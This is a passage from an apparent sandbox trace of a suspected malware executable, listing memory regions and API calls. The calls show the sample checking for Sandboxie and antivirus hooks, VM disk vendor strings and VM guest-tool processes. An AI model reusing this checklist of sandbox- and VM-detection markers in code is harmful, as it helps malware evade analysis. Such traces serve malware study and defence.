"\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 339 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 340 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 341 start_va = 0x410000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 342 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 343 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 344 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 345 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 346 start_va = 0x410000 end_va = 0x4cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 347 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 348 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 349 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 350 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 351 start_va = 0x510000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 352 start_va = 0x610000 end_va = 0x797fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 353 start_va = 0x7a0000 end_va = 0x7c9fff monitored = 0 entry_point = 0x7a5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 354 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 355 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 356 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 357 start_va = 0x7a0000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 358 start_va = 0x930000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 359 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 360 start_va = 0x77b10000 end_va = 0x77b8afff monitored = 0 entry_point = 0x77b2e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 361 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 362 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 363 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 364 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 365 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 366 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 367 start_va = 0x1d30000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 368 start_va = 0x75690000 end_va = 0x76a8efff monitored = 0 entry_point = 0x7584b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 369 start_va = 0x76a90000 end_va = 0x76ac6fff monitored = 0 entry_point = 0x76a93b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 370 start_va = 0x76e20000 end_va = 0x77318fff monitored = 0 entry_point = 0x77027610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 371 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 372 start_va = 0x77590000 end_va = 0x775d4fff monitored = 0 entry_point = 0x775ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 373 start_va = 0x77320000 end_va = 0x7732bfff monitored = 0 entry_point = 0x77323930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 374 start_va = 0x775e0000 end_va = 0x7766cfff monitored = 0 entry_point = 0x77629b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 375 start_va = 0x74e20000 end_va = 0x74e63fff monitored = 0 entry_point = 0x74e27410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 376 start_va = 0x77670000 end_va = 0x7767efff monitored = 0 entry_point = 0x77672e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 377 start_va = 0x1d30000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 378 start_va = 0x1ee0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 379 start_va = 0x1ef0000 end_va = 0x206afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 380 start_va = 0x2070000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 381 start_va = 0x4f0000 end_va = 0x4f5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 382 start_va = 0x1e30000 end_va = 0x1e34fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 811 start_va = 0x1e40000 end_va = 0x1e55fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Thread: id = 3 os_tid = 0x5c4 [0087.227] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="kernel32" | out: DestinationString="kernel32") [0087.227] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x74f30000) returned 0x0 [0087.228] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="user32" | out: DestinationString="user32") [0087.228] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x750d0000) returned 0x0 [0087.263] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="advapi32" | out: DestinationString="advapi32") [0087.263] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x77b10000) returned 0x0 [0088.445] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="shell32" | out: DestinationString="shell32") [0088.445] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x75690000) returned 0x0 [0097.347] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0097.347] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4d6fd8 [0097.347] GetKeyboardLayoutList (in: nBuff=1, lpList=0x4d6fd8 | out: lpList=0x4d6fd8) returned 1 [0097.348] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fb0c | out: TokenHandle=0x19fb0c*=0x150) returned 1 [0097.348] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x19, TokenInformation=0x19fb10, TokenInformationLength=0x14, ReturnLength=0x19fb08 | out: TokenInformation=0x19fb10, ReturnLength=0x19fb08) returned 1 [0097.348] ExpandEnvironmentStringsW (in: lpSrc="%systemroot%\\system32\\ntdll.dll", lpDst=0x19fd4c, nSize=0x104 | out: lpDst="C:\\Windows\\system32\\ntdll.dll") returned 0x1e [0097.348] CreateFileW (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0097.349] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x1000002, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0097.349] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1ef0000 [0097.352] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fd50, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe")) returned 0x62 [0097.352] wcsstr (_Str="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", _SubStr="7869.vmt") returned 0x0 [0097.352] NtQuerySystemInformation (in: SystemInformationClass=0x67, SystemInformation=0x19ff4c, Length=0x8, ResultLength=0x0 | out: SystemInformation=0x19ff4c, ResultLength=0x0) returned 0x0 [0097.353] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff54, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff54, ReturnLength=0x0) returned 0x0 [0097.353] GetModuleHandleA (lpModuleName="sbiedll") returned 0x0 [0097.353] GetModuleHandleA (lpModuleName="aswhook") returned 0x0 [0097.353] GetModuleHandleA (lpModuleName="snxhk") returned 0x0 [0097.353] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x4d8958 [0097.353] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" [0097.353] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") [0097.353] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x0) returned 0xc0000034 [0097.354] LocalFree (hMem=0x4d8958) returned 0x0 [0097.354] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x4d8958 [0097.354] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" [0097.354] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") [0097.354] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x15c) returned 0x0 [0097.355] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0097.355] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x4da140 [0097.355] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x4da140, Length=0x2c, ResultLength=0x19ff48 | out: KeyInformation=0x4da140, ResultLength=0x19ff48) returned 0x0 [0097.355] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0097.355] LocalAlloc (uFlags=0x40, uBytes=0x4e) returned 0x4daaf8 [0097.355] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x4daaf8, Length=0x4e, ResultLength=0x19ff48 | out: KeyInformation=0x4daaf8, ResultLength=0x19ff48) returned 0x0 [0097.356] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="qemu") returned 0x0 [0097.356] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="virtio") returned 0x0 [0097.356] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vmware") returned 0x0 [0097.356] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vbox") returned 0x0 [0097.356] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="xen") returned 0x0 [0097.356] LocalFree (hMem=0x4daaf8) returned 0x0 [0097.356] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0097.356] LocalAlloc (uFlags=0x40, uBytes=0x44) returned 0x4daaf8 [0097.356] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x4daaf8, Length=0x44, ResultLength=0x19ff48 | out: KeyInformation=0x4daaf8, ResultLength=0x19ff48) returned 0x0 [0097.357] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="qemu") returned 0x0 [0097.357] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="virtio") returned 0x0 [0097.357] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vmware") returned 0x0 [0097.357] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vbox") returned 0x0 [0097.357] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="xen") returned 0x0 [0097.358] LocalFree (hMem=0x4daaf8) returned 0x0 [0097.358] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x4daaf8 [0097.358] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x4daaf8, Length=0x50, ResultLength=0x19ff48 | out: KeyInformation=0x4daaf8, ResultLength=0x19ff48) returned 0x0 [0097.359] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="qemu") returned 0x0 [0097.359] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="virtio") returned 0x0 [0097.359] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vmware") returned 0x0 [0097.359] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vbox") returned 0x0 [0097.359] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="xen") returned 0x0 [0097.359] LocalFree (hMem=0x4daaf8) returned 0x0 [0097.359] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x4daaf8 [0097.359] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x4daaf8, Length=0x46, ResultLength=0x19ff48 | out: KeyInformation=0x4daaf8, ResultLength=0x19ff48) returned 0x0 [0097.360] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="qemu") returned 0x0 [0097.360] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="virtio") returned 0x0 [0097.360] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vmware") returned 0x0 [0097.360] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vbox") returned 0x0 [0097.360] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="xen") returned 0x0 [0097.361] LocalFree (hMem=0x4daaf8) returned 0x0 [0097.361] LocalFree (hMem=0x4da140) returned 0x0 [0097.381] NtClose (Handle=0x15c) returned 0x0 [0097.382] LocalFree (hMem=0x4d8958) returned 0x0 [0097.382] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x20a98) returned 0xc0000004 [0097.712] LocalAlloc (uFlags=0x40, uBytes=0x21a98) returned 0x1d32050 [0097.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1d32050, Length=0x21a98, ResultLength=0x19ff54 | out: SystemInformation=0x1d32050, ResultLength=0x19ff54*=0x19688) returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="qemu-ga.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="qga.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="windanr.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="vboxservice.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="vboxtray.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="vmtoolsd.exe") returned 0x0 [0097.720] wcsstr (_Str="system", _SubStr="prl_tools.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="qga.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="windanr.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.720] wcsstr (_Str="smss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.721] wcsstr (_Str="smss.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.721] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="qga.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="windanr.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.721] wcsstr (_Str="wininit.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.722] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="qga.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="windanr.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.722] wcsstr (_Str="winlogon.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="qga.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="windanr.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.723] wcsstr (_Str="services.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="qga.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="windanr.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.723] wcsstr (_Str="lsass.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.724] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="qga.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="windanr.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.725] wcsstr (_Str="dwm.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.725] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0097.726] wcsstr 